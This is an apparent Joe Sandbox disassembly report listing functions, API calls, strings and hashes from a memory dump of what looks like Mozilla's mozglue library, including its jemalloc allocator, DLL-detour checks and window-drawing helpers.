String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: aaa2eb676a48a142dd9f6be311409e3cf8de488471ac47f129101396ff8851ae
Instruction ID: a72deac94471995338b45ba5d2ffabc35d896c60b9e485116305d0a87f98e4db
Opcode Fuzzy Hash: aaa2eb676a48a142dd9f6be311409e3cf8de488471ac47f129101396ff8851ae
Instruction Fuzzy Hash: A252D6B1E00214EBEB25DF24CC84BAAB7B8FF45704F114199E50AA7650DB78AF85CF61

Function 6CDD6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDD7019
LeaveCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDD7061
EnterCriticalSection.KERNEL32(?), ref: 6CDD71A4
LeaveCriticalSection.KERNEL32(?), ref: 6CDD721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CDD723E
EnterCriticalSection.KERNEL32(?), ref: 6CDD726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CDD72B2
LeaveCriticalSection.KERNEL32(?), ref: 6CDD733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CDD73E8
LeaveCriticalSection.KERNEL32(?), ref: 6CDD961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDD9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDD9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDD964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDD96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDD96DB
AcquireSRWLockExclusive.KERNEL32(6CE2E804), ref: 6CDD9747
GetSystemInfo.KERNEL32(?), ref: 6CDD9792
__Init_thread_footer.LIBCMT ref: 6CDD97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CE2E810,00000040), ref: 6CDD97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2E7B8,00001388), ref: 6CDD9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2E744,00001388), ref: 6CDD984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2E784,00001388), ref: 6CDD9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2E7DC,00001388), ref: 6CDD9895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CDD99A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6CDD9BF4
MOZ_CRASH(), xrefs: 6CDD9B42
MALLOC_OPTIONS, xrefs: 6CDD97CA
Compile-time page size does not divide the runtime one., xrefs: 6CDD9B38
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDD9933, 6CDD9A33, 6CDD9A4E
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CDD99BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CDD99D2
<jemalloc>, xrefs: 6CDD9B33, 6CDD9BE3
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CDD9993

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 409e910a2bcc9c794d6fa6b49bcf3fece9999045dcbcf05dd82c0e62b2aefbb6
Instruction ID: 588f8c98fdbe3bc8931ea9e2d921d613b564bdabd1012aa6746891646cbabfb6
Opcode Fuzzy Hash: 409e910a2bcc9c794d6fa6b49bcf3fece9999045dcbcf05dd82c0e62b2aefbb6
Instruction Fuzzy Hash: 7A538D71A05701DFC704CF28C990715BBE1BF85328F2AC6ADE8A98B7A5D775E841CB81

Function 6CDE0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDE0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CDE0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CDE0FB7
EnterCriticalSection.KERNEL32(?), ref: 6CDE0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CDE1031
LeaveCriticalSection.KERNEL32(?), ref: 6CDE10D0
EnterCriticalSection.KERNEL32(?), ref: 6CDE117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CDE1C39
EnterCriticalSection.KERNEL32(6CE2E744), ref: 6CDE3391
LeaveCriticalSection.KERNEL32(6CE2E744), ref: 6CDE33CD
LeaveCriticalSection.KERNEL32(?), ref: 6CDE3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDE3437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CDE37A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6CDE3A02
MOZ_CRASH(), xrefs: 6CDE3950
MALLOC_OPTIONS, xrefs: 6CDE35FE
Compile-time page size does not divide the runtime one., xrefs: 6CDE3946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDE3559, 6CDE382D, 6CDE3848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CDE37BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CDE37D2
<jemalloc>, xrefs: 6CDE3941, 6CDE39F1
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CDE3793

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 0b53a12450d6e1044cbb54bb3b0727e00c3787ed3148a3152ead84276fbdfe7c
Instruction ID: 2fb6995053bef19e32f3f3b3a6cd1e8be2d9ea44d5a353f171553296283541bf
Opcode Fuzzy Hash: 0b53a12450d6e1044cbb54bb3b0727e00c3787ed3148a3152ead84276fbdfe7c
Instruction Fuzzy Hash: 11536C71A05702CFD704CF29C580625FBE1BF89328F29C66DE8A99B7A1D775E841CB81

Function 6CE055F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CDDE1A5), ref: 6CE05606
LoadLibraryW.KERNEL32(gdi32,?,6CDDE1A5), ref: 6CE0560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CE05633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CE0563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CE0566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CE0567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CE05696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CE056B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CE056CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CE056E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CE056FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CE05716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CE0572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CE05748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CE05761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CE0577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CE05793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CE057A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CE057BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CE057D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CE057EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CE057FF

Strings

gdi32, xrefs: 6CE0560A
LoadIconW, xrefs: 6CE0575B
GetDpiForWindow, xrefs: 6CE05690
GetMonitorInfoW, xrefs: 6CE057A2
LoadCursorW, xrefs: 6CE05774
ReleaseDC, xrefs: 6CE05742
CreateWindowExW, xrefs: 6CE056C5
GetThreadDpiAwarenessContext, xrefs: 6CE0562D
AreDpiAwarenessContextsEqual, xrefs: 6CE05637
SetWindowPos, xrefs: 6CE056F7
CreateSolidBrush, xrefs: 6CE057E4
user32, xrefs: 6CE05601
MonitorFromWindow, xrefs: 6CE0578D
EnableNonClientDpiScaling, xrefs: 6CE05666
SetWindowLongPtrW, xrefs: 6CE057B7
GetSystemMetricsForDpi, xrefs: 6CE05677
StretchDIBits, xrefs: 6CE057CC
GetWindowDC, xrefs: 6CE05710
RegisterClassW, xrefs: 6CE056AC
DeleteObject, xrefs: 6CE057F9
FillRect, xrefs: 6CE05729
ShowWindow, xrefs: 6CE056DE

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 3d8027cdb49225c0c27fc24d1daacb2f21f2684b9d318fd009bf16df8a7badc7
Instruction ID: 5b19008f870e849eedf4d03dbb4ee1648d378db45896e57b872c47ed22abc89a
Opcode Fuzzy Hash: 3d8027cdb49225c0c27fc24d1daacb2f21f2684b9d318fd009bf16df8a7badc7
Instruction Fuzzy Hash: 68513171B1275A9BDB019F758D54B2A3ABCBF062497344439ED12E2B45EB7CCC108FA8

Function 6CE034A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE0355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE035BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE035E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE0363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE036CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE0373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE0378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE038BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE039EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE03EE2

Part of subcall function 6CE06180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CE061DD
Part of subcall function 6CE06180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CE0622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE040F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE0412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE04157

Part of subcall function 6CE06180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CE06250
Part of subcall function 6CE06180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CE06292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE0441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CE04448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CE0484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CE04863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CE04878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CE04896
free.MOZGLUE ref: 6CE0489F

Strings

, xrefs: 6CE04CD2

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 2683d50c6659e8c8de3a9a2931c4845978854c8803c49935e3bcbe9b000eea05
Instruction ID: 34cb8fdd780861fd8e6a6ec7e37d42d6780764e9225e671d80385fb0d09a1183
Opcode Fuzzy Hash: 2683d50c6659e8c8de3a9a2931c4845978854c8803c49935e3bcbe9b000eea05
Instruction Fuzzy Hash: D7F24E74608780CFC725CF28C18469AFBF1FF99348F218A5ED99997711DB319896CB82

Function 6CDB64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CDB64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CDB64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CDB6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CDB6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CDB652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CDB671C
GetCurrentProcess.KERNEL32 ref: 6CDB6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CDB672F
GetCurrentProcess.KERNEL32 ref: 6CDB6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CDB6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CDB6A80
GetSystemInfo.KERNEL32(?), ref: 6CDB6ABE
__Init_thread_footer.LIBCMT ref: 6CDB6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDB6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDB6AF7

Strings

detoured.dll, xrefs: 6CDB64DA
nvd3d9wrap.dll, xrefs: 6CDB6500
_etoured.dll, xrefs: 6CDB64ED
nvdxgiwrap.dll, xrefs: 6CDB6513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CDB6798
user32.dll, xrefs: 6CDB6526

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 44c2d25b3a77a40242e7c6bf576d8a5a940addc2c2dcc3ac5f941842f2899a5c
Instruction ID: 380eb87304ad189615764d77fb1e5e05318377a77e5259421963f403f7963a23
Opcode Fuzzy Hash: 44c2d25b3a77a40242e7c6bf576d8a5a940addc2c2dcc3ac5f941842f2899a5c
Instruction Fuzzy Hash: 91F1E4B0905219CFDF24CF24CD88B9EB7B4AF45318F144199E80AB76A1E735AE85CF90

Function 6CDD60A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDD60C9
LeaveCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDD610D
EnterCriticalSection.KERNEL32(?), ref: 6CDD618C
LeaveCriticalSection.KERNEL32(?), ref: 6CDD61F9

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CDD6B6A
MOZ_CRASH(), xrefs: 6CDD6AB8
MALLOC_OPTIONS, xrefs: 6CDD6888
Compile-time page size does not divide the runtime one., xrefs: 6CDD6AAE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDD6BC7, 6CDD6F97, 6CDD6FB2
<jemalloc>, xrefs: 6CDD6AA9, 6CDD6B59

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 30709276ae0e3d857caaa87370a942a0fbcfe4d27fdb893c50d6fc80576220f8
Instruction ID: 90c303c2cae9f9a15ad72aff91047ea8188af249d68127b828ca4d1aba93ea36
Opcode Fuzzy Hash: 30709276ae0e3d857caaa87370a942a0fbcfe4d27fdb893c50d6fc80576220f8
Instruction Fuzzy Hash: FEA27D71E05B118BD708CF28C550719BBF1BB85324F2ACA6DE8A58B7A5C775E842CBC1

Function 6CDCD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDCD904
LeaveCriticalSection.KERNEL32(?), ref: 6CDCD971
memset.VCRUNTIME140(?,00000000,?), ref: 6CDCD97B
LeaveCriticalSection.KERNEL32(?), ref: 6CDCE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDCE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDCE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CDCE315
AcquireSRWLockExclusive.KERNEL32(6CE2E804), ref: 6CDCE37C
GetSystemInfo.KERNEL32(?), ref: 6CDCE3C7
__Init_thread_footer.LIBCMT ref: 6CDCE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CE2E810,00000040), ref: 6CDCE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2E7B8,00001388), ref: 6CDCE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2E744,00001388), ref: 6CDCE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2E784,00001388), ref: 6CDCE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2E7DC,00001388), ref: 6CDCE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6CE2E768,00001388), ref: 6CDCE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6CDCE52E
ReleaseSRWLockExclusive.KERNEL32(6CE2E804), ref: 6CDCE54F

Part of subcall function 6CDBD960: EnterCriticalSection.KERNEL32(?), ref: 6CDBD999
Part of subcall function 6CDBD960: EnterCriticalSection.KERNEL32(6CE2E7B8), ref: 6CDBDA13

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6CDCE6DD
MOZ_CRASH(), xrefs: 6CDCE62B
MALLOC_OPTIONS, xrefs: 6CDCE3FF
Compile-time page size does not divide the runtime one., xrefs: 6CDCE621
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDCE560, 6CDCE58A, 6CDCE5A5
<jemalloc>, xrefs: 6CDCE61C, 6CDCE6CC

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: da53c4aabf49ebeb32460c2614dbc275f29b484c1f913bbb10710ba4ddb32b87
Instruction ID: 58a52cd66b82ca2c55263280823242a9f944a3207bfabc72f9190367384cbe59
Opcode Fuzzy Hash: da53c4aabf49ebeb32460c2614dbc275f29b484c1f913bbb10710ba4ddb32b87
Instruction Fuzzy Hash: 50929FB1B45711CBD714CF28C881715BBF5BB85314F29866DE8A98BBA1D335E841CBC2

Function 6CE0C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CE0C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CE0C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CE0C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CE0CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CE0DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CE0DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CE0DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CE0E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CE0E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CE0E472

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: b6967e6a58373829221f0bd33d6259565a43234c929768b1255e8a4809738c16
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7A33BE75F0021ACFCB04CFA8C8806ADBBF2FF49314F288269D955AB755D731A956CB90

Function 6CDBFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E7B8), ref: 6CDBFF81
LeaveCriticalSection.KERNEL32(6CE2E7B8), ref: 6CDC022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CDC0240
EnterCriticalSection.KERNEL32(6CE2E768), ref: 6CDC025B
LeaveCriticalSection.KERNEL32(6CE2E768), ref: 6CDC027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CDC0D67, 6CDC0D7B, 6CDC0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CDBFE99, 6CDBFEB7, 6CDBFED3, 6CDC0DB8, 6CDC0DD3, 6CDC19B4
<jemalloc>, xrefs: 6CDC0D62, 6CDC0D76, 6CDC0DA7

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
